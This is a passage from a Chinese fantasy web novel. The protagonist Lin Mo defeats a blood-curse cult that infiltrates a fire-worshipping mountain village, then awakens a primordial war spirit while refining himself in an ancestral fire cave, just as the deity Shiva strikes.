“明白。”墨灵点头,“璇玑能量探测模块全开……需要时间。”
“交给我!”阿离重重点头,“我这就去找岩烈大哥套话!顺便……偷溜去藏书阁看看!”
她像一阵风似的冲出客寮,门口的守卫似乎得到过吩咐,并未阻拦。
“她……很信任你。”墨灵看着阿离的背影。
“我知道。”林默低声道,“所以不能辜负这份信任,更不能连累她。”
他闭上眼,意识沉入识海,沟通那份云无月给予的月华晶片——源炉锻火篇。
冰冷精密的意念洪流涌入脑海,无数关于火种淬炼、根基打磨、能量循环的古老公式与观想图呈现。
“……以身为炉,引天地火元为薪,锻打本源,祛芜存菁……”
“……根基如塔,塔基不稳,则万丈危楼……”
林默尝试按照法门运转地脉薪火。暗金火焰在经脉中流淌,试图构筑更稳固的能量循环,夯实根基。
嗡!
当薪火流经丹田深处,靠近那惨绿死水时,异变陡生!
那死水仿佛被激怒,猛地探出一缕细微的惨绿丝线,狠狠刺向运转的薪火!
嗤!
剧烈的侵蚀感传来!林默闷哼一声,额头渗出冷汗!强行构筑的循环瞬间被打断!
“警告!死水活性异常波动!尝试干扰能量运行!”墨灵急报。
林默喘息着,破妄右眼金光闪烁。强行修炼锻火篇,反而刺激了死水!根基不稳,连修炼都变得凶险!
“不能坐以待毙。”林默眼神锐利起来。他起身,走向客寮门口。
“林先生,请留步。”一个黑衣守卫伸手拦住,面无表情,“婆婆有令,三日内,客人只能在客寮范围活动。”
“透透气,就在门口。”林默平静道,目光却穿透守卫,看向热闹的寨子。
篝火旁,赤膊的精壮汉子们正演练着古朴的拳法,拳
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风刚猛,隐带火星。
妇人们围坐,用蕴含火元之力的丝线编织着符牌。
几个孩童追逐打闹,指尖竟能弹出细小的火花。
火神教,人人控火,火元之力深入骨髓。
林默的破妄右眼仔细捕捉着空气中流动的、无处不在的琉火粒子,以及寨民们身上散发的、或强或弱的火元波动。
突然!
他右眼猛地刺痛!
目光锁定在寨子边缘,一个正在晾晒某种赤红色草药的佝偻老妇身上!
那老妇动作缓慢,气息微弱,与普通老人无异。
但在破妄右眼中,她周身萦绕着一股极其隐晦、扭曲、带着粘稠恶意的暗红色能量!
这能量并非火元!
它如同活物般蠕动着,贪婪地吸收着空气中游离的琉火粒子,又散发出一种令人作呕的、类似**血液的腥甜气味!
更让林默警铃大作的是,他丹田内那惨绿死水,在感知到这股暗红能量的瞬间,竟传递出一丝……同源般的兴奋与饥渴?
“墨灵!”林默低喝,“扫描七点钟方向,晾晒草药的老妇人!能量遮蔽模式!”
墨灵反应极快,璇玑木鸢伪装成一只普通山雀,无声掠过。
“目标……能量反应异常!检测到高浓度‘血瘟’污染特征!与数据库记载的骸渊次级污染源‘血瘟教徒’能量谱吻合度92.3%!”
血瘟教?骸渊次级爪牙?
它们竟然已经渗透进了与世隔绝的千火寨?
林默的心沉了下去。
婆婆驱逐他这个“灾星”,真正的灾祸,却早已潜伏在寨子的阴影之中!
就在这时,寨子中央的南明离火祭坛,忽然毫无征兆地剧烈闪烁了一下!
纯白的火焰猛地一黯,仿佛被无形的阴影笼罩了一瞬!
整个寨子的火元之力都随之一滞!
“祭坛!”守卫脸色大变,再顾不得林默,转身冲向祭坛方向!
林默与墨灵对视一眼,都看到了对方眼中的凝重。
三日之期,危机四伏。
唤醒武魂的契机尚未找到,致命的死水隐患在加剧,湿婆的标记如影随形,如今……骸渊的爪牙竟已悄然潜入?
这看似平静的千火寨,已是风暴之眼!
第三十章 祭坛惊变
“祭坛!”
守卫的惊呼如同投入滚油的水滴!
原本热闹祥和的千火寨瞬间炸锅!
练拳的汉子、编织的妇人、嬉闹的孩童,所有人脸色剧变,惊恐地望向寨子中央!
嗡——!
南明离火祭坛再次剧烈闪烁!
那簇永恒燃烧的纯白火焰,此刻竟像风中残烛,明灭不定!
一层粘稠的、如同凝固血液般的暗红色阴影,正死死缠绕在火焰底部,疯狂侵蚀着神圣的纯白光辉!
一股令人作呕的、混合着**血液与硫磺的腥甜恶臭,迅速弥漫开来!
“离火圣辉被污染了!”
“是骸渊的污秽!”
“保护祭坛!”
寨民们又惊又怒,赤膊汉子们怒吼着冲向祭坛,身上火元之力爆发,试图驱散那暗红阴影!
妇人们也纷纷摘下佩戴的赤铜符牌,口中念念有词,激发符牌上的净化之力!
然而!
嗤嗤嗤!
他们的火元之力撞上那暗红阴影,竟如同泥牛入海,被轻易吞噬!
赤铜符牌射出的净化之光,也被阴影扭曲、污染,反而逸散出更多腥臭气息!
“没用的!”一个苍老沙哑却带着惊怒的声音响起!
婆婆的身影不知何时已出现在祭坛之下!
她佝偻的身躯挺直了几分,浑浊的眼中燃烧着纯白怒火!
手中那柄雕刻火凤凰的小银刀,此刻缠绕着凝练到极致的纯白离火,散发出恐怖的净化威压!
“这是‘血瘟腐咒’!以万千生灵怨血为引的骸渊邪术!寻常火元与符咒只会成为它的养料!”
她枯槁的手指猛地指向寨子边缘,那个晾晒赤红草药、此刻正露出诡异狞笑的佝偻老妇!
“血瘟教徒!抓住她!”
“晚了!老东西!”那伪装的老妇猛地直起腰,发出尖锐刺耳、不似人声的狂笑!
她脸上的皱纹如同活物般蠕动,整个身体如同吹气般膨胀、扭曲!
深紫色的苗绣衣服被撑裂,露出底下覆盖着粘稠暗红肉瘤、不断滴落腐臭脓液的恐怖身躯!
“腐血为祭!万秽归源!”
“恭迎圣骸……归位!”
血瘟教徒嘶吼着,双手猛地插入自己鼓胀的胸膛!
噗嗤!
暗红腥臭的污血如同喷泉般劲射而出!
并非射向祭坛,而是射向寨子各处——那些她之前晾晒的、看似普通的赤红色草药!
嗡!
沾染污血的草药瞬间变得漆黑如墨,爆发出无数道扭曲的暗红血丝!
这些血丝如同活物,闪电般射向附近的寨民!
“啊!”
“救命!”
被血丝缠上的寨民,无论男女老少,身体瞬间僵直,皮肤下浮现出暗红血管,眼中失去神采,发出痛苦的嗬嗬声!
他们体内的火元之力,竟被血丝强行抽取,化作一道道微弱的赤红流光,逆流回祭坛底部那不断壮大的暗红阴影之中!
它在抽取整个寨子的火元之力,喂养血瘟腐咒!
“混蛋!”阿离的怒吼传来!
她刚从寨子深处冲出,就看到这恐怖一幕!离焱环赤光爆发,化作火凤扑向最近的血丝!
嗤!
火凤撞上血丝,虽然将其烧断,救下一名孩童,但更多的血丝如同毒蛇般从四面八方涌来!
更可怕的是,寨子其他角落,也传来惊恐的尖叫和扭曲的嘶吼!
不止一个血瘟教徒!
“璇玑!能量干扰最大功率!目标血丝!”墨灵冷静下令,璇玑木鸢符文全开,高频能量脉冲扩散,勉强干扰了部分血丝的轨迹。
但血丝太多!太诡异!寨民的火元之力被克制,场面迅速失控!
祭坛上的离火圣辉以肉眼可见的速度黯淡下去!
婆婆须发皆张,手中离火刻刀光芒暴涨,就要不顾一切斩向祭坛阴影核心!
“婆婆!不可!”一个精壮汉子急呼,“腐咒核心连接所有受控寨民!强行斩灭,他们必死无疑!”
婆婆动作一滞!纯白离火在她刀尖剧烈跳跃,却无法斩下!她浑浊的眼中第一次流露出……一丝无力?
就在这时!
一道身影如同鬼魅般切入混乱的战场!
林默!
他无视了漫天飞舞的暗红血丝,破妄右眼金光璀璨如烈阳,死死锁定在祭坛底部那不断蠕动的暗红阴影核心!
在他右眼视野中,那阴影并非混沌一片!
而是由无数扭曲、痛苦、充满怨毒的暗红符文构成!
这些符文如同活体电路板,正通过抽取寨民火元形成的赤红流光,疯狂运转、壮大!
而在符文网络的核心,一点极其微小的、散发着不祥黑光的“咒种”若隐若现!
那就是腐咒的核心!也是连接所有被控寨民的“生命中枢”!
但更让林默心惊的是,他丹田内那惨绿死水,在如此近距离接触这骸渊邪术核心时,竟传递出强烈的吞噬欲望!仿佛那是无上美味!
“墨灵!”林默厉喝,“集中干扰祭坛阴影核心!西南角,能量节点交汇处!”
“收到!”墨灵毫不犹豫,璇玑木鸢所有能量集中,一道凝练的干扰光束射向林默所指!
嗡!
暗红阴影核心猛地一滞!符文运转出现瞬间的紊乱!抽取寨民火元的速度陡降!
就是现在!
林默动了!
他没有冲向祭坛,而是扑向离他最近的一个被血丝缠绕、痛苦挣扎的寨民!
破妄右眼金光锁定那根连接寨民丹田与祭坛阴影的暗红血丝!
“薪火……燃秽!”
嗡!
一缕凝练到极致的暗金色火焰,带着大地厚重与守护净化意志,从他指尖劲射而出!
这火焰并非焚烧血丝,而是精准无比地沿着血丝内部那细微的、传输火元之力的能量通道,逆流而上!
嗤——!
暗金薪火如同最精密的手术刀,瞬间烧断了血丝内部那传输火元的核心能量通路!
啪!
血丝应声而断!化作黑烟消散!
那名寨民身体一软,瘫倒在地,虽然虚弱,但眼中恢复了清明!
“有效!”林默精神一振!
破妄右眼能洞悉能量本质!燃秽薪火能精准净化核心通路!
“林默!救人!”阿离惊喜大喊,离焱环火力全开,拼命拦截其他血丝,为林默争取时间
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!
林默身影如风,在混乱的战场上穿梭!
每一次停顿,破妄右眼金光锁定!
每一次抬手,暗金薪火精准点射!
嗤!嗤!嗤!
一根根连接着寨民的血丝被精准切断!被控制的寨民如同割麦子般倒下、恢复!
他动作越来越快,破妄右眼与燃秽薪火的配合越发纯熟!所过之处,如同精准的救火队员!
“拦住他!”膨胀的血瘟教徒发出非人嘶吼,操控着更多血丝卷向林默!
“你的对手是我!”婆婆冰冷的声音如同九幽寒风!
她终于找到了出手的机会!
手中离火刻刀带着焚尽万物的纯白之光,撕裂空气,狠狠斩向那膨胀的血瘟教徒本体!
“离火……净世!”
纯白刀光所过之处,暗红肉瘤如同冰雪消融!
“不——!”血瘟教徒发出绝望惨叫,庞大的身躯在纯白离火中迅速碳化、崩解!
祭坛底部,失去教徒本体持续供能的暗红阴影,在墨灵持续干扰和林默不断切断“供能线”的双重打击下,终于剧烈波动起来!
那核心的黑色“咒种”暴露得更加清晰!
“林默!”婆婆的厉喝声突然响起,带着一丝不容置疑的急促,“祭坛核心!咒种!用你的火!斩断它!”
这是婆婆第一次……主动向林默求助!
林默没有丝毫犹豫!
破妄右眼金光锁定那蠕动的黑色咒种!
丹田内地脉薪火前所未有的沸腾!那惨绿死水的贪婪悸动被他强行压下!
“破妄!”
右眼金光炽烈如阳,洞穿一切虚妄,将咒种的结构、能量流转的每一个细微节点,清晰无比地映照在识海!
“燃秽!”
凝聚了他所有意志、所有守护信念的暗金薪火,化作一道凝练到极致、仿佛能斩断因果的金色丝线,循着破妄之眼锁定的、咒种能量网络中最脆弱的那个“点”,精准无比地……一斩而过!
嗤——!
一声微不可闻,却仿佛斩断灵魂的轻响!
祭坛上,那死死缠绕离火圣辉的暗红阴影猛地僵住!
核心处的黑色咒种,无声无息地……裂成两半!
轰!
整个暗红阴影如同被戳破的气球,剧烈扭曲、收缩,最终在纯白离火的照耀下,发出一声不甘的尖啸,彻底湮灭!
嗡——!
失去束缚的南明离火圣辉瞬间暴涨!
纯白光芒冲天而起,涤荡整个千火寨!
所有的腥甜恶臭、残留的暗红气息,在圣洁光辉下冰雪消融!
劫后余生的寨民们呆呆地看着沐浴在纯白圣辉中、指尖暗金火焰尚未散尽的林默。
一片死寂。
只有婆婆拄着离火刻刀,佝偻着背,剧烈喘息,浑浊的目光死死盯着林默,复杂难明。
林默缓缓收回手,破妄右眼金光扫过狼藉的寨子,最后落在那碎裂的咒种残骸上。
他的丹田深处,那缕惨绿死水,在咒种湮灭的刹那,传递出一丝……意犹未尽的贪婪。
而更远处,未被波及的密林阴影中,似乎有数道扭曲的身影,正无声地……窥伺着这一切。
第三十一章 圣骸之影
纯白圣辉涤荡,污秽尽消。
劫后余生的寨民们瘫倒在地,剧烈喘息,望向林默的眼神,从惊恐变为了震惊与茫然。
死寂中,只有火焰燃烧的噼啪声和压抑的啜泣。
婆婆拄着离火刻刀,佝偻的身躯剧烈起伏,浑浊的目光如同实质,死死钉在林默身上。那目光中,再无驱逐的冰冷,只剩下翻江倒海的复杂——惊疑、审视、一丝不易察觉的……**忌惮**?
“你……”她沙哑开口,声音干涩,“如何看穿‘血瘟腐咒’的核心节点?”
林默收回指尖暗金薪火,破妄右眼金光内敛,平静回应:“晚辈这右眼,可辨能量流转本质。”
“辨能量本质?”婆婆瞳孔微缩,枯槁的手指无意识摩挲着刻刀,“好一个破妄之眼……”
她目光扫过狼藉的寨子,被林默救下的寨民们挣扎着爬起,看向林默的目光充满感激。
“婆婆!是林默救了我们!”阿离冲过来,急切喊道,“他不是灾星!”
“闭嘴!”婆婆厉声呵斥,但语气已不似之前冰冷。她转向林默,浑浊眼底深处,那纯白离火本源剧烈跳动了一下。
“你体内那‘死水’,方才……有何异动?”
林默心念电转,决定坦言:“它……对那腐咒核心,有强烈吞噬之欲。”
“吞噬?”婆婆眼中精光爆射,仿佛印证了某个可怕的猜测,“果然……黄泉孽海的本源死水,视骸渊邪力为资粮!”
“它在利用你靠近骸渊污染!壮大自身!”
她猛地指向祭坛底部,那咒种湮灭后残留的一小块漆黑、扭曲的晶石碎片。
“那便是‘血瘟腐咒’的残骸!它抽取寨民火元,核心目的并非污染离火!”
“而是……**定位**!”
“定位?”阿离和墨灵同时惊呼。
“不错!”婆婆声音带着前所未有的凝重,“‘圣骸归位’!血瘟教徒以自身为祭,布下腐咒,抽离火元制造剧烈能量波动,如同黑暗中的灯塔!”
“它在为‘圣骸’……指引降临的坐标!”
圣骸?降临?
林默心头剧震!破妄右眼瞬间锁定那块漆黑碎片!在碎片深处,他捕捉到一丝极其隐晦、冰冷、带着非人神性的空间坐标印记!这印记的位格,远超血瘟教徒!
“湿婆?”林默脱口而出。
婆婆猛地看向他,眼神锐利如刀:“你知道湿婆?”
“魔都遭遇过其意志投影。”林默简略道,“它标记了我。”
“标记了你……又引动骸渊爪牙定位圣骸降临……”婆婆喃喃自语,佝偻的身躯仿佛更弯了几分,脸上皱纹深刻如沟壑,“湿婆……骸渊……它们竟已联手?!”
她猛地抬头,浑浊眼中爆发出决绝的厉芒!
“外乡人!林默!”
“老婆子之前……看走眼了!”
“你非灾星,而是……被卷入这场滔天浩劫的……关键火种!”
态度一百八十度转变!
“婆婆?”阿离惊喜。
“没时间解释了!”婆婆手中离火刻刀一挥,一道纯白火线精准卷起祭坛底部的漆黑碎片!
“此物残留圣骸坐标印记,必须立刻毁去!否则……”
话音未落!
咻!咻!咻!
三道粘稠的暗红血箭,裹挟着刺耳的破空声,从寨外密林阴影中暴射而出!目标直指婆婆手中的漆黑碎片!
潜伏的窥伺者……终于出手!
“找死!”婆婆怒哼,手中刻刀纯白离火升腾,就要斩向血箭!
然而!
那三道血箭在空中诡异扭曲,竟瞬间分化成数十道更细的血丝,绕过纯白离火的拦截,如同拥有生命般,从刁钻角度缠向碎片!更有一部分,直扑虚弱的寨民!
声东击西!歹毒至极!
“救人!”林默厉喝,身影如电扑向最近的寨民!
阿离离焱环爆发,火凤拦截血丝!
墨灵璇玑干扰光束全开!
但血丝太多太诡异!婆婆离火虽猛,却难以兼顾所有!
眼看几道血丝就要缠上碎片和一名孩童!
嗡——!
千钧一发之际!
林默丹田深处,那缕惨绿死水仿佛受到同源力量的极致诱惑,竟不受控制地剧烈沸腾起来!
一股冰冷、污秽、充满吞噬本能的狂暴意念,如同决堤洪水,猛地冲击林默的意识!
“呃啊!”林默动作一滞,右眼金光瞬间被惨绿光芒侵蚀大半!
体表暗金薪火疯狂摇曳,几乎要被体内爆发的死水反噬淹没!
失控!死水要借机吞噬同源邪力!
就在这意识即将被死水吞噬的刹那!
林默识海深处,那片沉寂的武魂本源虚空,猛然传来一声……来自洪荒的愤怒咆哮!
吼——!
这咆哮并非声音,而是最纯粹的意志洪流!带着开天辟地的战意、守护人间的决绝、以及对污秽邪魔的极致憎恶!
轰!
林默即将被死水淹没的意识,如同被洪钟大吕狠狠撞醒!
破妄右眼中惨绿光芒瞬间被压制!金光暴涨!
更让他震撼的是,那咆哮的意志洪流,竟与他丹田内的地脉薪火产生了前所未有的共鸣!
嗡!
暗金色的地脉薪火仿佛注入了灵魂,猛地爆发出万丈光芒!
一股厚重、苍茫、带着不屈战意的力量席卷全身,瞬间将沸腾反噬的惨绿死水死死**回丹
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田深处!
整个过程,只在电光火石之间!
外界,林默停滞的身影猛地恢复!甚至更快!
“破妄……锁魂!”
他右眼金光如同探照灯,瞬间锁定所有袭来的血丝核心!不再是能量节点,而是其中蕴含的那一丝操控者的污秽意念!
“燃秽……焚源!”
指尖暗金薪火喷吐!这一次的火焰,带着一丝源自武魂咆哮的洪荒战意,不再仅仅是净化,更添了一分焚灭本源的霸道!
嗤嗤嗤——!
暗金火焰精准点射在每一道血丝的意念核心上!
如同沸汤泼雪!
所有被点中的血丝,连带着其中蕴含的污秽意念,瞬间化为青烟!彻底湮灭!
扑向碎片的血丝、袭向寨民的血丝……尽数消散!
密林阴影中,传来几声闷哼与惊怒的嘶吼!显然意念被焚,本体受创!
“好!”婆婆眼中爆发出前所未有的精光!她抓住这稍纵即逝的机会!
“离火……化形!”
她低喝一声,手中离火刻刀猛地插向地面!
轰!
以刻刀为中心,纯白离火如同怒放的白莲,瞬间扩散!
火焰升腾,竟化作无数只栩栩如生、姿态各异的纯白火鸟、火蛇、火虎!
带着焚尽万物的净世之威,扑向密林阴影中暴露出的几道扭曲身影!
“不——!”
凄厉的惨嚎瞬间被纯白离火吞噬!几团人形火炬在林中猛烈燃烧,顷刻间化为飞灰!
一切尘埃落定。
纯白离火缓缓收回,没入婆婆体内。她脸色微微发白,显然消耗巨大。
她看都没看密林方向,枯槁的手掌一握!
噗!
那块残留圣骸坐标的漆黑碎片,在纯白离火中化为虚无。
做完这一切,婆婆才缓缓转身,佝偻着背,一步一步走到林默面前。
浑浊的目光,死死盯着林默那刚刚平息金光、却似乎多了一丝苍茫古意的右眼,以及他体内那仿佛经历了一次蜕变的暗金薪火。
“刚才……你体内那股意志……”婆婆的声音带着一丝不易察觉的颤抖,“是武魂?”
林默感受着识海中那渐渐平复、却不再沉寂的武魂本源,以及丹田内被彻底**、暂时蛰伏的死水,缓缓点头。
“是。”
婆婆沉默良久,布满皱纹的脸上,终于露出一丝极其复杂、却不再冰冷的……释然?
她长长吐出一口浊气,仿佛卸下了万钧重担。
“三日之期……作废。”
“林默……”
“跟老婆子来。”
她转身,拄着刻刀,走向寨子深处那座最高大的吊脚楼。
“去‘祖焱窟’。”
第三十二章 祖焱窟秘
吊脚楼深处,并非居所。
婆婆枯槁的手掌按在布满火焰图腾的岩壁上,口中吟诵着古老晦涩的音节。纯白离火自她掌心流淌,注入图腾。
嗡!
岩壁无声滑开,露出一个向下的、仅容一人通过的漆黑甬道。
炽热、古老、带着硫磺与岩石气息的热浪扑面而来,仿佛通往地心熔炉。
“跟上。”婆婆头也不回,拄着刻刀步入黑暗。
林默紧随其后,阿离和墨灵被留在外面。
祖焱窟,非火神教核心不可入,甬道倾斜向下,深不见底。
两侧岩壁光滑,残留着人工开凿的痕迹,但更深处,却透出一种原始蛮荒的气息。
破妄右眼金光穿透黑暗,能看到岩壁深处流淌着暗红色的、如同凝固血液般的炽热能量脉络。
“此窟非人造。”婆婆沙哑的声音在甬道回荡,“乃远古地火喷涌之口,火神教初代大祭首于此感应离火真意,立下根基。”
“窟内残留的,是天地初开时的……源初之火息。”
“狂暴、混乱、却也蕴藏造化生机。”
她脚步不停,声音带着一丝追忆。
“千年以降,教中天赋卓绝者,皆可入窟,引火息锻体炼魂,感悟离火真谛。”
“但如你这般,体内蕴藏破碎武魂、黄泉死水、残缺薪火……还要引动源初火息者……”
婆婆顿住脚步,回头,浑浊目光在黑暗中如同两点纯白火星。
“亘古未有。”
“要么,火息引动武魂碎片,助你重塑根基,**死水,浴火重生。”
“要么……”
她手中离火刻刀轻点岩壁,一缕纯白火光闪过,坚硬的岩石如同黄油般融化。
“……灰飞烟灭。”
“晚辈明白。”林默声音平静,破妄右眼金光扫视着越来越灼热的甬道尽头。
风险与机遇并存,他早已习惯。
终于,甬道尽头豁然开朗!
一个巨大得难以想象的地下洞窟呈现在眼前!
洞窟穹顶高悬,无数垂落的暗红色钟乳石如同凝固的火焰瀑布。
窟底并非平地,而是一片缓慢流淌、粘稠如岩浆般的暗金色火湖!
湖面并非液态火焰,而是由无数细密跳跃的暗金火星构成,散发着令人心悸的高温与狂暴能量!
祖焱湖!
而在火湖中央,矗立着一座巨大的、由某种黑色金属与暗红晶石构成的古老祭坛!
祭坛表面刻满了比甬道图腾更加繁复、充满洪荒气息的火焰符文!
最让林默心神剧震的是,在破妄右眼的视野中,整个洞窟充斥着一种粘稠的、暗金色的、如同液态阳光般的能量洪流——源初之火息!
它们如同拥有生命的怒龙,在空气中狂野奔腾,互相碰撞、湮灭、又重生!
每一次碰撞都迸发出足以撕裂钢铁的能量乱流!
狂暴!混乱!却又蕴含着最本源的创生与毁灭之力!
“源初火息……无主无识……只尊本能。”婆婆指着那暗金火湖与祭坛,“祭坛乃初代大祭首所立,是窟内唯一相对安全之地。”
“上去!盘坐坛心!”
“引火息入体!能否引动武魂碎片,**死水,看你造化!”
婆婆说完,身影缓缓退入甬道阴影,只留下一句:
“记住,守住本心,方可不被火息焚尽神魂。”
轰隆!
岩壁在身后合拢,隔绝了外界。
洞窟内,只剩下林默一人,面对这狂暴的天地之威。
热浪如同实质的墙壁挤压而来,皮肤传来灼痛。空气扭曲,视线模糊。
源初火息奔腾的呼啸声,如同亿万头远古凶兽在耳边咆哮!
林默深吸一口灼热的空气,压下翻腾的心绪,一步踏出,凌空跃向湖心祭坛!
嗡!
就在他身体脱离岸边岩石的刹那!
下方平静的暗金火湖猛地沸腾!无数暗金火星如同被激怒的蜂群,冲天而起!
化作数条狰狞的火焰巨**,带着焚灭万物的狂暴意志,狠狠噬向空中的林默!
攻击!源自本能的排斥!
“哼!”林默早有防备,身在半空,无处借力,却丝毫不乱!
破妄右眼金光瞬间锁定几条火焰巨**的核心能量流转节点!
“燃秽……焚源!”
指尖暗金薪火喷吐!这一次的火焰,不仅带着武魂的洪荒战意,更在破妄之眼的指引下,精准无比地点在几条火**能量流转最狂暴、也最不稳定的节点之上!
嗤嗤嗤!
如同点中了蛇的七寸!
几条狂猛的火**动作猛地一僵,狂暴的能量瞬间在内部失衡、冲突、湮灭!
化作漫天暗金火星雨,重新落回火湖!
林默借势,身形如鹞鹰般轻盈落在祭坛中央!
甫一落地!
嗡——!
整个祭坛仿佛被激活!表面的洪荒符文次第亮起暗红光芒!
一股沉重、古老、带着**之意的力场瞬间笼罩林默!
这力场并非攻击,而是帮助他稳定身形,隔绝了部分外部狂暴火息的直接冲击。
但真正的考验,才刚刚开始!
林默盘膝坐下,按照婆婆所言,尝试沟通、引动空气中那奔腾的源初火息。
意识如同触须,小心翼翼探出。
轰——!
仿佛一滴冷水溅入了滚烫油锅!<
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br>原本就在狂野奔腾的源初火息,瞬间找到了宣泄口!
无数道粘稠的暗金火息,如同嗅到血腥的鲨鱼,从四面八方疯狂涌向祭坛,狠狠撞入林默的身体!
“呃啊——!”
无法形容的剧痛瞬间席卷全身!
这痛苦远超熔炉核心的淬炼!
源初火息狂暴无比,如同亿万根烧红的钢针,带着最原始的创生与毁灭意志,蛮横地冲入他的每一条经脉、每一个细胞!
焚烧!撕裂!重组!再撕裂!
林默体表的地脉薪火瞬间被压制回体内!暗金色的光芒在皮肤下疯狂闪烁、明灭,仿佛随时会崩溃!
更可怕的是,丹田深处那缕惨绿死水,在源初火息入体的狂暴刺激下,如同被踩了尾巴的毒蛇,猛地爆发出前所未有的阴冷污秽!疯狂侵蚀着林默的经脉与意志,试图抵挡这天地之威的净化!
体内瞬间化为战场!
狂暴创生及毁灭的源初火息vs污秽侵蚀的死水vs守护及被压制的地脉薪火!
林默的身体如同一个即将**的熔炉!皮肤龟裂,渗出暗金与惨绿交织的血珠!七窍流血,意识在剧痛与疯狂边缘挣扎!
“守住……本心……”婆婆的话在脑海中回响。
破妄右眼金光在剧痛中死死维持!洞悉着体内三方能量的疯狂绞杀!
他发现,源初火息虽狂暴,但其核心深处,确实蕴藏着一丝微弱的造化生机之力!
而死水虽阴毒,在火息冲击下也并非毫无损耗!
契机!
林默强聚即将溃散的意志,不再试图控制火息,而是将全部心神沉入识海深处那片混沌的武魂本源虚空!
“武魂……醒来!”
他心中发出无声的咆哮!
以自身不屈的守护意志为引,主动将一丝狂暴的源初火息和死水的污秽侵蚀之力,同时引向那片混沌虚空!
置之死地而后生!以狂暴外力,刺激沉睡的武魂!
轰——!
当那蕴含着创生、毁灭、污秽三种极致力量的洪流,狠狠撞入武魂本源虚空的刹那!
整个识海……天翻地覆!
那片沉寂的混沌虚空,如同被投入巨石的死水,剧烈沸腾、翻滚!
一声比在千火寨时更加清晰、更加震怒的洪荒咆哮,猛地从虚空最深处炸响!
吼——!!!
这一次,不再是虚无的意志!
一道极其模糊、却顶天立地的洪荒巨人虚影,在沸腾的混沌中……缓缓显现!
巨人虚影脚踏混沌,身缠暗金与惨绿交织的能量乱流,对着那入侵的狂暴力量,发出了源自本源的愤怒战吼!
武魂……初显!
第三十三章 武魂初鸣
吼——!!!
洪荒巨人的战吼,如同开天辟地的第一道惊雷,在林默识海炸响!
那模糊的巨人虚影脚踏混沌,身缠狂暴的源初火息与惨绿死水能量,对着入侵的混乱洪流,发出了源自本源的、不屈不挠的愤怒咆哮!
这咆哮并非无意义的宣泄!
一股苍茫、厚重、带着守护大地与撕裂苍穹意志的洪荒战意,如同决堤的星河,瞬间冲刷过林默濒临崩溃的肉身与灵魂!
轰!
原本在体内疯狂绞杀、肆意破坏的三股力量(源初火息、死水、薪火),在这股至高战意的统御下,如同被无形的巨手狠狠攥住!
“镇!”
林默福至心灵,意识与那巨人虚影共鸣,发出无声的敕令!
嗡!
洪荒战意化作无形的熔炉!
源初火息的狂暴被强行约束、梳理!那蕴藏其中的微弱造化生机之力被战意精准剥离、放大!
死水的污秽侵蚀如同遇到克星,被战意狠狠压制、驱赶回丹田深处!其核心处那缕贪婪暴戾的意志,在洪荒战意的冲刷下发出无声的尖啸!
地脉薪火则如同受到滋养,暗金光芒暴涨!主动引导着被梳理后的源初火息造化生机,融入自身,疯狂修补着林默龟裂的经脉与受损的根基!
破妄!燃秽!焚源!
在这股洪荒战意的加持下,林默的本源能力仿佛发生了质变!
破妄右眼金光穿透肉身,清晰“看”到每一处被死水侵蚀的暗伤、每一条被火息撕裂的经脉!更“看”到那被战意剥离、引导的造化生机如何精准修复!
燃秽薪火则带着焚尽污秽的霸道,在破妄指引下,化作无数微小的金色手术刀,精准灼烧着残留的死水污秽,将侵蚀的毒素彻底焚灭!
焚源之力则融入薪火,不仅焚灭污秽,更将源初火息中残暴的毁灭之力转化为精纯的能量,注入薪火本源,使其飞速壮大、凝练!
**以身为炉!武魂为锤!战意为火!**
**锻打薪火!淬炼根基!焚灭死秽!**
林默的身体,成为了一个高效、精密、充满毁灭与新生的锻造场!
体表龟裂的伤口以肉眼可见的速度愈合,渗出的暗金与惨绿血珠被蒸发、净化。皮肤下流转的光芒,不再是之前的明灭不定,而是稳定、凝练、带着金属质感的暗金光泽!
原本脆弱如同沙塔的根基,在源初火息的造化生机与武魂战意的锤打下,被强行夯实、加固、拓宽!
丹田深处,那缕惨绿死水被压缩到极致,表面覆盖着一层由武魂战意凝聚的暗金色符文锁链,暂时蛰伏,但其中蕴含的不甘与怨毒依旧清晰可感。
而识海中,那洪荒巨人的虚影,在主导了这场惊心动魄的“锻造”后,似乎消耗巨大,变得更加模糊,缓缓沉入混沌虚空深处,不再咆哮,但那份守护的意志,却已深深烙印在林默的灵魂深处。
武魂初鸣!根基重塑!
“呼……”
林默缓缓睁开双眼,破妄右眼金光内敛,却深邃如渊,仿佛蕴藏着一片古老的星空。他吐出一口悠长的浊气,气息沉稳如山,带着前所未有的厚重与力量感。
祖焱窟内,狂暴依旧。
但此刻奔腾的源初火息,在靠近祭坛时,却被林默体表那层凝练的暗金光芒自然排开,仿佛遇到了同源而更高阶的存在,不再疯狂攻击。
成功了!
然而!
就在林默心神稍松的刹那!
嗡——!!!
整个祖焱窟,不,是整个千火寨所在的山脉,猛地剧烈一震!
一股无法形容的、冰冷、死寂、带着无尽轮回终结意味的恐怖威压,如同亿万座冰山,毫无征兆地从天而降!狠狠压在所有生灵心头!
这威压……林默刻骨铭心!
湿婆!
“圣骸……降临!”
一个宏大、冰冷、带着神性回响的声音,直接在林默,以及在祖焱窟外所有生灵的灵魂深处响起!
轰隆!
祖焱窟坚固的穹顶,被一股无法抗拒的巨力硬生生撕裂!
一只由纯粹的、粘稠的、散发着恶臭与硫磺气息的恒河淤泥构成的遮天巨手,撕裂空间,无视了千火寨的离火迷踪阵,无视了山峦的阻隔,朝着祖焱窟内的林默……狠狠抓下!
巨手未至,那冰冷死寂的“归墟”意志已如同实质,瞬间冻结了奔腾的源初火息,压得林默刚刚重塑的根基咔咔作响,体表暗金光芒剧烈摇曳!
湿婆意志!圣骸之力!跨界一击!
目标明确——扼杀这刚刚觉醒武魂的火种!
“放肆!”
一声苍老却蕴含着焚天之怒的厉喝,如同惊雷般炸响!
祖焱窟入口的岩壁轰然爆碎!
婆婆佝偻的身影冲天而起!她周身燃烧着前所未有的纯白离火,整个人仿佛化作了一轮人形的白色太阳!手中那柄离火刻刀,此刻已化为十丈长的纯白巨刃!
“老婆子还没死!轮不到你这域外邪神在南疆撒野!”
“离火……焚天!”
纯白巨刃带着焚尽八荒、净化万物的决绝意志,逆斩苍穹!狠狠劈向那抓下的淤泥巨手!
轰——!!!!!!!
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无法形容的碰撞!
纯白离火与恒河淤泥狠狠对撞!毁灭性的能量冲击波如同海啸般扩散!千火寨上方的天空瞬间被撕裂!云层蒸发!山峦崩裂!
噗!
婆婆的身影如同流星般倒飞而回,狠狠砸进祖焱窟边缘的岩壁!她口中喷出带着纯白火星的鲜血,气息瞬间萎靡!手中离火刻刀光芒黯淡,布满裂痕!
